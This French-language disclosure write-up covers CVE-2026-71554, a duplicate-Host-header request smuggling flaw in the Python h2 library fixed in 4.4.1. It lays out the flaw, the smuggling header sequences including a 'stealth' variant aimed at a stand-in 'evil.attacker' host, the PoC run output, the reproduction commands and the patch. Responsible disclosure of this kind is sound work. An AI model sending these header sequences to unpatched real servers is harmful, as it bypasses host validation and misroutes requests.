
PoC pour CVE-2026-71554 - primitive de request smuggling par en-tête Host dupliqué dans h2 (corrigé dans la version 4.4.1)
Ceci est mon premier CVE. J'ai publié ce PoC pour documenter la découverte et aider les autres à la comprendre et à la reproduire.
CVE : CVE-2026-71554 GHSA : GHSA-6hr6-w5qg-qmwg Affecté : h2 <= 4.4.0 Corrigé : h2 4.4.1 Sévérité : Moyenne (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-71554
En examinant la logique de validation des en-têtes de h2, j'ai remarqué que _validate_host_authority_header() dans src/h2/utilities.py vérifie que Host et :authority correspondent — mais ne compare que le dernier en-tête Host qu'il voit. Si vous envoyez deux en-têtes Host, h2 utilise le second pour la vérification de correspondance et transmet les deux à l'application sans sourciller.
Fait intéressant, h2 4.4.0 rejette déjà les en-têtes Content-Length dupliqués en levant une ProtocolError. Le même correctif n'a jamais été appliqué à Host. Il y avait même un commentaire TODO dans le code source reconnaissant exactement cette lacune :
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
_validate_host_authority_header() dans src/h2/utilities.py utilise une boucle de type « le dernier gagne » qui enregistre la dernière valeur Host rencontrée et vérifie uniquement que :
:authority ou Host est présentIl n'y a aucune vérification du nombre d'en-têtes Host. Chaque en-tête Host est transmis en aval à l'application, quel que soit le nombre d'en-têtes présents.
Le client envoie :
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 accepte les deux. L'application reçoit les deux en-têtes Host.
La rétrogradation HTTP/1.1 produit :
GET / HTTP/1.1
host: good.internal
host: evil.attacker
La RFC 9112, section 3.2, exige qu'un serveur réponde 400 à toute requête HTTP/1.1 contenant plus d'un en-tête Host. Les backends divergent :
nginx — rejects with 400
Python stdlib — accepts, returns FIRST Host on lookup
Werkzeug — accepts, returns FIRST Host on lookup
Le client envoie :
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
h2 valide : dernier Host (good.internal) == :authority (good.internal) — la vérification passe.
L'application reçoit les deux en-têtes Host. La rétrogradation HTTP/1.1 produit :
GET / HTTP/1.1
host: evil.attacker
host: good.internal
Les backends qui renvoient le premier Host lors d'une recherche par clé unique routent la requête vers evil.attacker alors que h2 croyait avoir validé good.internal. Désynchronisation complète du routage entre ce que h2 a validé et ce que l'origine traite.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 lève une ProtocolError. Cela confirme que la lacune est spécifique aux en-têtes Host dupliqués.
L'impact dépend de l'architecture de déploiement :
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
Les trois cas lèvent une ProtocolError. Aucun en-tête n'est transmis.
Un compteur ajouté à la boucle existante dans _validate_host_authority_header() :
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
Commit : https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
Découvert et signalé par Sunand Mohan (https://github.com/SunandM)